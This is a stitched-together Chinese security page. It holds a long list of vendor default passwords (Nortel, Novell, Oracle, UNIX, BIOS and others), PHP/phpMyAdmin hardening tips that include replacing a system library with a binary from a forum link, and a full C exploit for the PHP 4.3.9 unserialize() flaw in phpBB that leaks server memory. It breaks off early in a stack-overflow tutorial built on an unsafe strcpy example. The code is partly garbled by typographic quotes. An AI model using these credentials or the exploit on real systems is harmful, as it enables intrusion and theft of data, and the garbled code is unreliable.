Nortel Accelar (Passport) 1000 series routing switches Multi l2 l2 Layer 2 Read Write


Nortel Accelar (Passport) 1000 series routing switches Multi l3 l3 Layer 3 (and layer 2) Read Write


Nortel Accelar (Passport) 1000 series routing switches Multi ro ro Read Only


Nortel Accelar (Passport) 1000 series routing switches Multi rw rw Read Write


Nortel Accelar (Passport) 1000 series routing switches Multi rwa rwa Read Write All


Nortel Extranet Switches Multi admin setup Admin


Nortel Baystack 350-24T Telnet n/a secure Admin


Nortel Meridian PBX Serial login 0000 AUTH codes in LD 8


Nortel Meridian PBX Serial login 1111 AUTH codes in LD 8


Nortel Meridian PBX Serial login 8429 AUTH codes in LD 8


Nortel Meridian PBX Serial spcl 0000 AUTH codes in LD 8


Nortel Meridian MAX Multi service smile general engineer account


Nortel Meridian MAX Multi root 3ep5w2u Admin


Nortel Matra 6501 PBX Console (none) 0000 Admin


Nortel Meridian MAX Multi maint ntacdmax Maintenance account


Nortel Meridian CCR Multi service smile general engineer account


Nortel Meridian CCR Multi disttech 4tas engineer account enter 3letter
of day from yesterday an tomorrow (for Tuesday enter MonWed case
sensitive) – may be twice to see root password in clear


Nortel Meridian CCR Multi maint maint Maintenance account


Nortel Meridian CCR Multi ccrusr ccrusr User account


Nortel Meridian Multi n/a (none) Admin


Nortel Meridian Link Multi service smile general engineer account


Novell Netware Multi BACKUP BACKUP


Novell Netware Multi CHEY_ARCHSVR CHEY_ARCHSVR


Novell Netware Multi CHEY_ARCHSVR (none)


Novell Netware Multi FAX FAX


Novell Netware Multi FAX (none)


Novell Netware Multi FAXUSER FAXUSER


Novell Netware Multi FAXUSER (none)


Novell Netware Multi FAXWORKS (none)


Novell Netware Multi FAXWORKS FAXWORKS


Novell Netware Multi GATEWAY GATEWAY


Novell Netware Multi GATEWAY GATEWAY


Novell Netware Multi GATEWAY (none)


Novell Netware Multi GUEST TSEUG


Novell Netware Multi GUEST GUESTGUEST


Novell Netware Multi GUEST GUESTGUE


Novell Netware Multi GUEST GUEST


Novell Netware Multi GUEST (none)


Novell Netware Multi HPLASER (none)


Novell Netware Multi HPLASER HPLASER


Novell Netware Multi LASER (none)


Novell Netware Multi LASER LASER


Novell Netware Multi LASERWRITER LASERWRITER


Novell Netware Multi LASERWRITER (none)


Novell Netware Multi MAIL (none)


Novell iChain 1.5 Console (none) san fran 8 Admin Debug level access


Novell iChain 2.0 Console (none) cr0wmt 911 Admin Debug level access


Novell Netware Multi MAIL MAIL


Novell Netware Multi POST (none)


Novell Netware Multi POST POST


Novell Netware Multi PRINT (none)


Novell Netware Multi PRINT PRINT


Novell Netware Multi PRINTER (none)


Novell Netware Multi PRINTER PRINTER


Novell Netware Multi ROOT (none)


Novell Netware Multi ROOT ROOT


Novell Netware Multi ROUTER (none)


Novell Netware Multi SABRE (none)


Novell Netware Multi SUPERVISOR NETFRAME


Novell Netware Multi SUPERVISOR NFI


Novell Netware Multi SUPERVISOR NF


Novell Netware Multi SUPERVISOR HARRIS


Novell Netware Multi SUPERVISOR SUPERVISOR


Novell Netware Multi SUPERVISOR (none)


Novell Netware Multi SUPERVISOR SYSTEM


Novell Netware Multi TEST TEST


Novell Netware Multi TEST (none)


Novell Netware Multi USER_TEMPLATE (none)


Novell Netware Multi USER_TEMPLATE USER_TEMPLATE


Novell Netware Multi WANGTEK (none)


Novell Netware Multi WANGTEK WANGTEK


Novell Netware Multi WINDOWS_PASSTHRU WINDOWS_PASSTHRU


Novell Netware Multi WINDOWS_PASSTHRU (none)


Novell Netware Multi WINSABRE SABRE


Novell Netware Multi WINSABRE WINSABRE


Novell Groupwise 5.5 Enhancement Pack HTTP servlet manager Servlet Mgr URI: /servlet/ServletManager


Novell Groupwise 6.0 HTTP servlet manager Servlet Mgr URI: /servlet/ServletManager


Novell Netware Multi ADMIN ADMIN


Novell Netware Multi ADMIN (none)


Novell Netware Multi ARCHIVIST (none)


Novell Netware Multi ARCHIVIST ARCHIVIST


Novell Netware Multi BACKUP (none)


Nurit PC BIOS Console $system (none) Admin


OCE Printers Hardware HTTP n/a 0 and the number of OCE printer Admin You can gain acsess to every OCE printer..


OCE Printers Hardware HTTP n/a 0 and the number of OCE printer Admin You can gain acsess to every OCE printer..


Optus Counter-Strike 1.3 Multi Administrator admin Admin password


Oracle Oracle RDBMS 8i Multi AQDEMO AQDEMO


Oracle Oracle RDBMS 7 and 8 Multi APPS APPS


oracle 8.1.7 Multi n/a (none) Admin


Oracle Oracle RDBMS 7 and 8 Multi AURORA@ORB@UNAUTHENTICATED INVALID


Oracle Oracle RDBMS 7 and 8 Multi AURORA$ORB$UNAUTHENTICATED INVALID


Oracle Web DB HTTP webdb webdb Admin Running on port 81/TCP (Nicolas Gregoire)


Oracle Oracle RDBMS 7 and 8 Multi BLAKE PAPER


Oracle Oracle RDBMS 8i Multi CATALOG CATALOG


Oracle Oracle RDBMS 8i Multi CDEMO82 CDEMO82



Oracle Oracle RDBMS 8i Multi CDEMOCOR CDEMOCOR


Oracle Oracle RDBMS 8i Multi CDEMOUCB CDEMOUCB


Oracle Oracle RDBMS 8i Multi CDEMORID CDEMORID


Oracle Oracle RDBMS 8i Multi FINANCE FINANCE All Privileges


Oracle Oracle RDBMS 7 and 8 Multi CLARK CLOTH


Oracle Oracle RDBMS 8i Multi COMPANY COMPANY All Privileges


Oracle Oracle RDBMS 7 and 8 Multi CTXDEMO CTXDEMO


Oracle Oracle RDBMS 7 and 8 Multi CTXSYS CTXSYS DBA


Oracle Oracle RDBMS 8i Multi SYSMAN oem_temp DBA created by Oracle Enterprise Manager


Oracle Oracle RDBMS 7 and 8 Multi CTXSYS (none)


Oracle Oracle RDBMS 7 and 8 Multi DBSNMP DBSNMP RESOURCE and CONNECT roles


Oracle Oracle RDBMS 7 and 8 Multi DEMO DEMO


Oracle Oracle RDBMS 8i Multi DEMO8 DEMO8


Oracle Oracle RDBMS 8i Multi EMP EMP


Oracle Oracle RDBMS 8i Multi EVENT EVENT DBA


Oracle Oracle RDBMS 8i Multi FND FND


Oracle Oracle RDBMS 8i Multi GPFD GPFD


Oracle Oracle RDBMS 8i Multi GPLD GPLD


Oracle Oracle RDBMS 7 and 8 Multi JONES STEEL


Oracle Oracle RDBMS 7 and 8 Multi MDSYS MDSYS All Privileges with Admin


Oracle Oracle RDBMS 8i Multi MFG MFG All Privileges


Oracle Oracle RDBMS 8i Multi MILLER MILLER


Oracle Oracle RDBMS 8i Multi MMO2 MMO2


Oracle Oracle RDBMS 8i Linux Multi MODTEST YES DBA


Oracle Oracle RDBMS 8i Multi MOREAU MOREAU


Oracle Oracle RDBMS 8i WinNT Multi MTYSYS MTYSYS


Oracle Oracle RDBMS 7 and 8 Multi NAMES NAMES


Oracle Oracle RDBMS 8i Multi OCITEST OCITEST


Oracle Oracle RDBMS 7 and 8 Multi ORDPLUGINS ORDPLUGINS


Oracle Oracle RDBMS 7 and 8 Multi ORDSYS ORDSYS


Oracle Oracle RDBMS 7 and 8 Multi OUTLN OUTLN


Oracle Oracle RDBMS 8i Multi PO PO DBA


Oracle Oracle RDBMS 8i Multi POWERCARTUSER POWERCARTUSER


Oracle Oracle RDBMS 8i Multi PRIMARY PRIMARY


Oracle Oracle RDBMS 8i Multi PUBSUB PUBSUB DBA


Oracle Oracle RDBMS 8i WinNT Multi RE RE


Oracle Oracle RDBMS 8i WinNT Multi RMAIL RMAIL


Oracle Oracle RDBMS 7 and 8 Multi RMAN RMAN created by ordisys.sql


Oracle Oracle RDBMS 8i WinNT Multi SAMPLE SAMPLE DBA


Oracle Oracle RDBMS 7 and 8 Multi SCOTT TIGER


Oracle Oracle RDBMS 8i Multi SECDEMO SECDEMO


Oracle Oracle RDBMS 7 and 8 Multi SYS CHANGE_ON_INSTALL DBA +


Oracle Oracle RDBMS 7 and 8 Multi SYSADM SYSADM


Oracle Oracle RDBMS 7 and 8 Multi SYSTEM MANAGER


Oracle Oracle RDBMS 7 and 8 Multi TRACESRV TRACE


Oracle Oracle RDBMS 8i Multi TSDEV TSDEV


Oracle Oracle RDBMS 8i Multi TSUSER TSUSER


Oracle Oracle RDBMS 8i Multi USER0 USER0


Oracle Oracle RDBMS 8i Multi USER1 USER1


Oracle Oracle RDBMS 8i Multi USER2 USER2


Oracle Oracle RDBMS 8i Multi USER3 USER3


Oracle Oracle RDBMS 8i Multi USER4 USER4


Oracle Oracle RDBMS 8i Multi USER5 USER5


Oracle Oracle RDBMS 8i Multi USER6 USER6


Oracle Oracle RDBMS 8i Multi USER7 USER7


Oracle Oracle RDBMS 8i Multi USER8 USER8


Oracle Oracle RDBMS 8i Multi USER9 USER9


Oracle Oracle RDBMS 8i Multi VRR1 VRR1 DBA


Oracle Personal Oracle 8 Multi PO8 PO8


Oracle Oracle RDBMS 8i Multi AQUSER AQUSER


Oracle Oracle RDBMS 7 and 8 Multi ADAMS WOOD


Oracle Oracle RDBMS 7 and 8 Multi APPLSYS APPLSYS


Osicom NETPrint 1000E/D Telnet Manager Manager Admin


Osicom NETPrint 1000E/NDS Telnet Manager Manager Admin


Osicom JETXPrint 500 E/B Telnet sysadm sysadm Admin


Osicom NETPrint 2000E/N Telnet Manager Manager Admin


Osicom NETPrint 1500E/N Telnet Manager Manager Admin


Osicom NETPrint 1000E/NDS Telnet sysadm sysadm Admin


Osicom NETPrint 1500E/N Telnet sysadm sysadm Admin


Osicom NETPrint 2000E/N Telnet sysadm sysadm Admin


Osicom NETPrint 1000E/B Telnet sysadm sysadm Admin


Osicom NETPrint 2000E/B Telnet sysadm sysadm Admin


Osicom NETPrint 1000E/N Telnet sysadm sysadm Admin


Osicom NETPrint 2000E/N Telnet sysadm sysadm Admin


Osicom NETPrint 1000 T/B Telnet sysadm sysadm Admin


Osicom NETPrint 2000 T/B Telnet sysadm sysadm Admin


Osicom NETPrint 1000 T/N Telnet sysadm sysadm Admin


Osicom NETPrint 2000 T/N Telnet sysadm sysadm Admin


Osicom NETPrint 1500 E/B Telnet sysadm sysadm Admin


Osicom NETPrint 1500E/N Telnet sysadm sysadm Admin


Osicom NETPrint 1500T/N Telnet sysadm sysadm Admin


Osicom NETPrint 1000E/D Telnet sysadm sysadm Admin


Osicom NETPrint 500 E/B Telnet sysadm sysadm Admin


Osicom NETPrint 500 E/N Telnet sysadm sysadm Admin


Osicom NETPrint 500 T/B Telnet sysadm sysadm Admin


Osicom NETPrint 500 T/N Telnet sysadm sysadm Admin


Osicom Osicom Plus T1/PLUS 56k Telnet write private


Osicom JETXPrint 1000E/B Telnet sysadm sysadm Admin


Osicom JETXPrint 1000E/N Telnet sysadm sysadm Admin


Osicom JETXPrint 1000T/N Telnet sysadm sysadm Admin


Osicom NETCommuter Remote Access Server Telnet debug d.e.b.u.g User


Osicom NETCommuter Remote Access Server Telnet echo echo User


Osicom NETCommuter Remote Access Server Telnet guest guest User


Osicom NETCommuter Remote Access Server Telnet Manager Manager Admin


Osicom NETCommuter Remote Access Server Telnet sysadm sysadm Admin


Osicom NETPrint 1500 E/B Telnet debug d.e.b.u.g User


Osicom NETPrint 1000E/D Telnet debug d.e.b.u.g User


Osicom NETPrint 1000E/NDS Telnet debug d.e.b.u.g User


Osicom NETPrint 1500E/N Telnet debug d.e.b.u.g User


Osicom NETPrint 2000E/N Telnet debug d.e.b.u.g User


Osicom NETPrint 1500 E/B Telnet echo echo User


Osicom NETPrint 1000E/D Telnet echo echo User


Osicom NETPrint 1000E/NDS Telnet echo echo User


Osicom NETPrint 1500E/N Telnet echo echo User


Osicom NETPrint 2000E/N Telnet echo echo User


Osicom NETPrint 1500 E/B Telnet guest guest User


Osicom NETPrint 1000E/D Telnet guest guest User


Osicom NETPrint 1000E/NDS Telnet guest guest User


Osicom NETPrint 1500E/N Telnet guest guest User


Osicom NETPrint 2000E/N Telnet guest guest User


Osicom NETPrint 1500 E/B Telnet Manager Manager Admin


Pacific Micro Data MAST 9500 Universal Disk Array ESM ver. 2.11 / 1 Console pmd (none) Admin


Packard Bell PC BIOS Console n/a bell9 Admin


PentaSafe VigilEnt Security Manager 3.0 VigilEnt Security Manager Console PSEAdmin $secure$ Admin


phoenix 4.0 6.0.2 Multi n/a admin Admin


Planet WAP-1900/1950/2000 2.5.0 Multi (none) default Admin


Prime PrimeOS Multi test test User


Prime PrimeOS Multi netlink netlink User


Prime PrimeOS Multi mfd mfd User


Prime PrimeOS Multi guest guest User


Prime PrimeOS Multi mail mail User


Prime PrimeOS Multi guest1 guest User


Prime PrimeOS Multi guest1 guest1 User


Prime PrimeOS Multi system prime Admin


Prime PrimeOS Multi system system Admin


Prime PrimeOS Multi tele tele User


Prime PrimeOS Multi prime prime User


Prime PrimeOS Multi primenet primenet User


Prime PrimeOS Multi primenet primeos User


Prime PrimeOS Multi primos_cs primos User


Prime PrimeOS Multi primos_cs prime User


Pyramid Computer BenHur all HTTP admin gnumpf Admin


QDI SpeedEasy BIOS Console n/a lesarotl Admin


QDI PC BIOS Console n/a QDI Admin


Quantex PC BIOS Console n/a teX1 Admin


Quantex PC BIOS Console n/a xljlbj Admin


Raidzone raid arrays n/a raidzone


Ramp Networks WebRamp wradmin trancell


RedHat Redhat 6.2 HTTP piranha q User


RedHat Redhat 6.2 HTTP piranha piranha User


Research PC BIOS Console n/a Col2ogro2 Admin


RM RM Connect Multi setup changeme


RM RM Connect Multi teacher password


RM RM Connect Multi temp1 password


RM RM Connect Multi admin rmnetlm


RM RM Connect Multi admin2 changeme


RM RM Connect Multi adminstrator changeme


RM RM Connect Multi deskalt password


RM RM Connect Multi deskman changeme


RM RM Connect Multi desknorm password


RM RM Connect Multi deskres password


RM RM Connect Multi guest (none)


RM RM Connect Multi replicator replicator


RM RM Connect Multi RMUser1 password


RM RM Connect Multi topicalt password


RM RM Connect Multi topicnorm password


RM RM Connect Multi topicres password


RM Server BIOS Console n/a RM


SAP SAP SAP client EARLYWATCH SUPPORT SAP internal; Mandant 066


SAP SAP SAP client SAP* 07061992 SAP internal; Mandant 066


SAP SAP SAP client SAP* PASS SAP internal; all Mandants


SAP SAP SAP client SAP* 07061992 SAP internal; Mandant 000


SAP SAP SAP client DDIC 19920706 SAP internal; Mandant 000


SAP SAP SAP client SAP* 07061992 SAP internal; Mandant 001


SAP SAP SAP client DDIC 19920706 SAP internal; Mandant 001


Semaphore PICK O/S PHANTOM


Semaphore PICK O/S DS


Semaphore PICK O/S DSA


Semaphore PICK O/S DESQUETOP


Server Technology Sentry Remote Power Manager Multi GEN1 gen1 view/control Telnet port 2001


Server Technology Sentry Remote Power Manager Multi GEN2 gen2 view/control Telnet port 2001


Server Technology Sentry Remote Power Manager Multi ADMN admn Admin Telnet port 2001


Shiva Integrator 150/200/500 Multi admin hello Admin


Shuttle PC BIOS n/a Spacve Admin


Siemens ROLM PBX eng engineer


Siemens ROLM PBX op op


Siemens ROLM PBX op operator


siemens hipath Multi n/a (none) Admin


Siemens ROLM PBX su super


Siemens PhoneMail poll tech


Siemens PhoneMail sysadmin sysadmin


Siemens ROLM PBX admin pwp


Siemens PhoneMail tech tech


Siemens Nixdorf PC BIOS Console n/a SKY_FOX Admin


Siips Trojan 8974202 Multi Administrator ganteng Admin Thx


Silicon Graphics IRIX 5.x 6.x Multi lp (none) CLI; UID lp


Silicon Graphics IRIX 5.x 6.x Multi guest (none) CLI; UID guest


Silicon Graphics IRIX Multi OutOfBox (none) Admin


Silicon Graphics IRIX Multi field field Admin


Silicon Graphics IRIX Multi tour tour Admin


Silicon Graphics IRIX Multi tutor (none) Admin


Silicon Graphics IRIX Multi tutor tutor Admin


Silicon Graphics IRIX Multi 4Dgifts 4Dgifts Admin


Silicon Graphics IRIX Multi 4Dgifts (none) Admin


Silicon Graphics IRIX Multi demos (none) Admin


Silicon Graphics IRIX Multi Ezsetup (none) Admin


SmartSwitch Router 250 ssr2500 v3.0.9 Multi admin (none) Admin


SonicWALL ALL ALL HTTP admin password Admin


Speedstream 5861 SMT Router Multi admin admin Admin


Speedstream 5871 IDSL Router Multi admin admin Admin


Speedstream Router 250 ssr250 Multi admin admin Admin


Speedstream DSL Multi admin admin Admin


SpeedXess HASE-120 Multi (none) speedxess Admin


Sun JavaWebServer 1.x 2.x AdminSrv admin admin Admin


SuperMicro PC BIOS Console n/a ksdjfg934t Admin


Sybase Adaptive Server Enterprise 11.x 12.x Multi sa (none) SA and SSO roles


Tiara Networks (router???) 1400 6100 6200 Multi n/a tiara tiaranet


Tinys PC BIOS Console n/a Tiny Admin


TMC PC BIOS Console n/a BIGO Admin


Toshiba PC BIOS Console n/a 24Banc81 Admin


Toshiba PC BIOS Console n/a Toshiba Admin


Toshiba PC BIOS Console n/a toshy99 Admin


Trend Micro Viruswall all versions HTTP on port 1812 admin admin Admin Reported by Nicolas Gregoire


TVT System Expresse G5 Multi craft (none) Admin


TVT System Expresse G5 DS1 Module Multi (none) enter Admin


UNIX Generic Multi system_admin system_admin Admin


UNIX Generic Multi trouble trouble User


UNIX Generic Multi umountfs umountfs User


UNIX Generic Multi umountfsys umountfsys User


UNIX Generic Multi umountsys umountsys User


UNIX Generic Multi unix unix User


UNIX Generic Multi user user User


UNIX Generic Multi uucp uucp User


UNIX Generic Multi uucpadm uucpadm User


UNIX Generic Multi web (none) User


UNIX Generic Multi web web User


UNIX Generic Multi webmaster webmaster User


UNIX Generic Multi webmaster (none) User


UNIX Generic Multi www (none) User


UNIX Generic Multi www www User


UNIX Generic Multi adm adm Admin


UNIX Generic Multi adm (none) Admin


UNIX Generic Multi admin admin User


UNIX Generic Multi administrator administrator User


UNIX Generic Multi administrator (none) User


UNIX Generic Multi anon anon User


UNIX Generic Multi bbs bbs User


UNIX Generic Multi bbs (none) User


UNIX Generic Multi bin sys Admin


UNIX Generic Multi bin sys Admin


UNIX Generic Multi checkfs checkfs User


UNIX Generic Multi checkfsys checkfsys User


UNIX Generic Multi checksys checksys User


UNIX Generic Multi daemon daemon User


UNIX Generic Multi daemon (none) User


UNIX Generic Multi demo demo User


UNIX Generic Multi demo (none) User


UNIX Generic Multi demos demos User


UNIX Generic Multi demos (none) User


UNIX Generic Multi dni (none) User


UNIX Generic Multi dni dni User


UNIX Generic Multi fal (none) User


UNIX Generic Multi fal fal User


UNIX Generic Multi fax (none) User


UNIX Generic Multi fax fax User


UNIX Generic Multi ftp (none) User


UNIX Generic Multi ftp ftp User


UNIX Generic Multi games games User


UNIX Generic Multi games (none) User


UNIX Generic Multi gopher gopher User


UNIX Generic Multi gropher (none) User


UNIX Generic Multi guest guest User


UNIX Generic Multi guest guestgue User


UNIX Generic Multi guest (none) User


UNIX Generic Multi halt halt User


UNIX Generic Multi halt (none) User


UNIX Generic HP-UX Multi root hp Admin


UNIX Generic Multi informix informix User


UNIX Generic Multi install install Admin


UNIX Generic Multi lp lp User


UNIX Generic Multi lp bin User


UNIX Generic Multi lp lineprin User


UNIX Generic Multi lp (none) User


UNIX Generic Multi lpadm lpadm User


UNIX Generic Multi lpadmin lpadmin User


UNIX Generic Multi lynx lynx User


UNIX Generic Multi lynx (none) User


UNIX Generic Multi mail (none) User


UNIX Generic Multi mail mail User


UNIX Generic Multi man man User


UNIX Generic Multi man (none) User


UNIX Generic Multi me (none) User


UNIX Generic Multi me me User


UNIX Generic Multi mountfs mountfs Admin


UNIX Generic Multi mountfsys mountfsys Admin


UNIX Generic Multi mountsys mountsys Admin


UNIX Generic Multi news news User


UNIX Generic Multi news (none) User


UNIX Generic Multi nobody (none) User


UNIX Generic Multi nobody nobody User


UNIX Generic Multi nuucp (none) User


UNIX Generic Multi operator operator User


UNIX Generic Multi operator (none) User


UNIX Generic Multi oracle (none) User


UNIX Generic Multi postmaster postmast User


UNIX Generic Multi postmaster (none) User


UNIX Generic Multi powerdown powerdown User


UNIX Generic Multi rje rje User


UNIX Generic Multi root root Admin


UNIX Generic Multi root (none) Admin


UNIX Generic Multi setup setup Admin


UNIX Generic Multi shutdown shutdown User


UNIX Generic Multi shutdown (none) User


UNIX Generic Multi sync sync User


UNIX Generic Multi sync (none) User


UNIX Generic Multi sys sys Admin


UNIX Generic Multi sys system Admin


UNIX Generic Multi sys bin Admin


UNIX Generic Multi sysadm sysadm Admin


UNIX Generic Multi sysadm admin Admin


UNIX Generic Multi sysadmin sysadmin Admin


UNIX Generic Multi sy**in sy**in Admin


UNIX Generic Multi system_admin (none) Admin


Verifone Verifone Junior 2.05 (none) 166816


Vextrec Technology PC BIOS Console n/a Vextrex


Vobis PC BIOS Console n/a merlin


Watch guard firebox 1000 Multi admin (none) Admin


Wim Bervoets WIMBIOSnbsp BIOS Console n/a Compleri Admin


winwork iso sistemi Multi operator (none) Admin


WorldClient AdminServer HTTP:2001 WebAdmin Admin WorldClient


WWWBoard WWWADMIN.PL HTTP WebAdmin WebBoard Admin


Wyse Winterm 5440XL Console root wyse Admin


Wyse Winterm 5440XL VNC VNC winterm VNC


Xerox Multi Function Equipment Multi admin 2222 Admin combo fax/scanner/printer with network access


Xylan Omniswitch Telnet admin switch Admin


Xylan Omniswitch Telnet diag switch


Xyplex Routers Port 7000 n/a system Admin


Xyplex Terminal Server Port 7000 n/a access User


Xyplex Terminal Server Port 7000 n/a system Admin


Xyplex Routers Port 7000 n/a access User


Zenith PC BIOS Console n/a 3098z Admin


Zenith PC BIOS Console n/a Zenith Admin


ZEOS PC BIOS Console n/a zeosx Admin


Zyxel Generic Routers Telnet n/a


3COM CoreBuilder 7000/6000/3500/2500 Telnet debug synnet



1:立即停用服务器上的phpMyAdmin,或将phpMyAdmin改为比较隐藏路径。因为通过此漏洞一般都可以读出PHP程序连接mysql数据库存的服用户名或密码

2:修改mysql的配置文件/etc/my.cf文件,在[msyqld]一节加上bind-address=127.0.0.1;作用为msyql数据库将只允许本机连接,3306只在127.0.0.1上监听。防止攻击者用其他软件远程连接服务器的3306

3,将PHP升级为4.3.10

如果您是用RPM包安装的或是在装系统时集成安装的,不想重新编译PHP的话这里给出一个简单的办法,将一个编译好的PHP4.3.10的
libphp4.so文件覆盖/etc/httpd/modules/libphp4.so,这样你的PHP就升级了,你可以用phpinfo()来测式
一下。这里提供这个文件的下载

http://bbs.xplore.bbs/libphp4.so

md5sum:48e8ad2600d755cca9b7a92d47e1357c

一个危害比较严重的PHP漏洞,漏洞原因是PHP中unserialize()函数对参数长度的判断不充分。目前官方网站上还没有补丁,为方便测式和自已打修改PHP源码,发布以下利用代码:



代码::


//phpBB 2.x & PHP 4.3.9 unserialize() Exploit for Linux


#include <netdb.h>


#include <sys/socket.h>


#include <sys/types.h>


#include <stdio.h>


#include <stdlib.h>


#include <errno.h>


#include <sys/ioctl.h>


#include <net/if.h>


#include <signal.h>


#include <netinet/ip.h>


#include <netinet/in.h>


#include <string.h>


#include <arpa/inet.h>


#include <netinet/ip_icmp.h>


#include <linux/if_ether.h>



int goodcar(char carac)


{


   unsigned short cpt;


   if(!carac)


      return 0;


   // i hate do like this :/


   char *goodcar
=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMONPQRSTUVWXYZ012345689<>é@à)]=}è[_-{#&*\\/-+~'ç$%.:;|^~$,!?\"\'\t\r\n
";


   for(cpt = 0;(goodcar[cpt] != ‘\0′) && (goodcar[cpt] != carac);cpt++);


   if(goodcar[cpt] == carac)


      return 1;


   return 0;


}



unsigned int utf8decode(char *utf)


{


   char *r;


   char *w;


   char tmp;


   int han;


   r = w = utf;


   while(*r)


   {


      if(*r ==’%')


      {


         tmp = (char)alphanum(r+1,&han);


         if(han)


         {


            *w = tmp;


            r += 2;


         }


         else


            *w = *r;


      }


      else


         *w = *r;


      w++;


      r++;


   };


   *w = ‘\0′;


   return (w-utf);


}



int alphanum(char *of,char *wesh)


{


   unsigned char retour;


   retour = 0×00;


   *wesh = 0;


   if(!(*of && *(of+1)))


      return 0×00;


   if((*of >= ‘a’) && (*of <= ‘f’))


      retour = ((*of – ‘a’) +10) * 0×10;


   else if((*of >= ‘A’) && (*of <= ‘F’))


      retour = ((*of – ‘A’) +10) * 0×10;


   else if((*of >= ‘0′) && (*of <= ‘9′))


      retour = (*of – ‘0′) * 0×10;


   else


      return 0×00;


   of++;


   if((*of >= ‘a’) && (*of <= ‘f’))


      retour += ((*of – ‘a’) +10);


   else if((*of >= ‘A’) && (*of <= ‘F’))


      retour += ((*of – ‘A’) +10);


   else if((*of >= ‘0′) && (*of <= ‘9′))


      retour += (*of – ‘0′);


   else


      return 0×00;


   *wesh = 1;


   return retour;


}



int main(int argc,char *argv[])


{


   int sockfd;


   struct hostent *hp;


   struct sockaddr_in server_addr;


   char host[80],dir[80];


   char recvbuf[1024];


   char *getbuf;


   int recvsize,nbmemread,compteur,cpt;


   char str[1024];


   strcpy(host,argv[1]);


   strcpy(host,&host[7]);


   strcpy(dir,host);


   strtok(host,”/”);//取得主机名


   strcpy(dir,&dir[strlen(host)]);//取得目录名


   char tmp[]=”%22test1%22%3b”;


   char usage[]=”usage:phpbb <URL> <size> <cookname>\n”


                 ”eg:phpbb http://192.168.1.8/bbs 30000 phpbb2mysql\n”;


   if(argc!=4)


   {


      printf(“%s”,usage);


      exit(0);


   }


   nbmemread=0;


   compteur=0;


   cpt=0;


   sprintf(str,”GET %s HTTP/1.1\n”


               ”Host: %s\n”


               ”Cookie: %s_data=s:%s:%s; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=%s\n”


               ”Cookie: %s_sid=1cfd759c33ba2a45b994c7b7cfd948ec; path=/; domain=%s\n”


               ”Accept-Language: fr\n”


               ”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\n”


               ”Connection: close\n\n”,dir,host,argv[3],argv[2],tmp,host,argv[3],host);


  // printf(“%s\t%s\n”,host,dir);


   //printf(“%s\n”,str);


   


   hp=gethostbyname(host);


   //建立套接口


   if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)


   {


     printf(“Create the Socket faild!\n”);


     exit(1);


   }


   else


   {


     //printf(“Create the socket OK!\n”);


   }


   bzero(&server_addr,sizeof(struct sockaddr_in));


   server_addr.sin_family=AF_INET;


   server_addr.sin_addr=*((struct in_addr *)hp->h_addr);


   server_addr.sin_port=htons(80);


   //与服务器建立连接


   if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)


    {


     printf(“Connect the Server faild!\n”);


    }


    else


   {


      //printf(“Connect the Server OK!\n”);


   }


  //发送数据   


   if(!send(sockfd,str,strlen(str),0))


    {


      printf(“send the data faild!\n”);


    }


    else


   {


      //printf(“send date OK!\n”);


   }


   sleep(1);


   getbuf=(char *)malloc(1024);


   //接收数据


   while(1)


   {


    memset(recvbuf, 0, sizeof(recvbuf));


   recvsize= recv(sockfd,recvbuf,1024,0); 


    if(recvsize>0)


    {


      //printf(“%s\n”,recvbuf);


        strcat(getbuf,recvbuf);      


      if(strstr(recvbuf,”;”))


      {


         break;


      }


      else


      {


         getbuf=(char *)realloc(getbuf,recvsize);


      }


    }


    else


   {


      break;


    }


   }


   char *data=strstr(getbuf,”phpbb2mysql_data=”);


   if(data==NULL)


   {


      printf(“不可用=n”);


      exit(1);


   }


   data=&data[strlen("phpbb2mysql_data=")];


   char *dataend=strstr(getbuf,”;”);


   dataend[0]=’\0′;


  nbmemread = utf8decode(data);


   for(compteur = 0;compteur < nbmemread;)


   {


     for(cpt=compteur;goodcar(data[cpt]);cpt++);


      if((cpt – compteur) > 3 )


        {


         char *wtmp = (char*)malloc((cpt – compteur)+1);


         strncpy(wtmp,&data[compteur],cpt – compteur);


         wtmp[cpt - compteur] = ‘\0′;


         printf(“string detected : %s\n”,wtmp);


         free(wtmp);


       }


      if(!(cpt – compteur))


         cpt++;


         compteur = cpt;


   }


    printf(“\n%s\n”,getbuf);


   //free(data);


   free(getbuf);


 


}




FC2 PHP 4.3.9,PHPBB 2.0.11上测式成功

Linux下栈溢出的原理及利用


作者:xinhe


1、进程空间的内存分布


一个程序在运行时系统会给这个程序分配4GB的虚拟内存,而这4GB有2GB是共享的,内核可以访问,


还有2GB是进程独占的,而程序又分为程序段,数据段,堆栈段。动态数据都是通过堆栈段来存放。


其分布如下:


内存高端


+——————-+


| 程序段 |


+——————-+


| 数据段 |


+——————-+


| 堆 栈 |


+——————-+


内存低端



而堆栈段的分布又如下:


内存高端


+——————-+


| 函数栈 |


+——————-+


| 函数栈 |


+——————-+


| ——- |


+——————-+


| 堆 |


+——————-+


内存低端



2、程序对堆栈的使用


程序每调用一个函数,就会在堆栈里申请一定的空间,我们把这个空间称为函数栈,而随着函数调用层数的


增加, 函数栈一块块地从高端内存向低端内存地址方向延伸.反之,随着进程中函数调用层数的减少, 即各


函数调用的返回, 函数栈会一块块地被遗弃而向内存的高址方向回缩.各函数的栈大小随着函数的性质的不


同而不等, 由函数的局部变量的数目决定。


进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分配给进程的内存数量的增加,


Heap(堆)有可能向高址或低址延伸, 依赖于不同CPU的实现. 但一般来说是向内存的高地址方向增长的。


当发生函数调用时,先将函数的参数压入栈中,然后将函数的返回地址压入栈中,这里的返回地址通常是


Call的下一条指令的地址。


这里结合一个实例来说明这一过程:


写这么一个程序



代码::


 //test.c


 #include<stdio.h>


  int fun(char *str)


  {


   char buffer[10];


   strcpy(buffer,str);


   printf(“%s”,buffer);


   return 0;


  }


  int main(int argc,char **argv)


  {


   int i=0;


   char *str;


   str=argv[1];


   fun(str);


   return 0;


  }




编译 gcc -g -o test test.c


然后用GDB来进来调试


gdb test


反汇编main函数



代码::


0×080483db <main+0>:    push   %ebp


0×080483dc <main+1>:    mov    %esp,%ebp


0×080483de <main+3>:    sub    $0×8,%esp


0×080483e1 <main+6>:    and    $0xfffffff0,%esp


0×080483e4 <main+9>:    mov    $0×0,%eax


0×080483e9 <main+14>:   sub    %eax,%esp


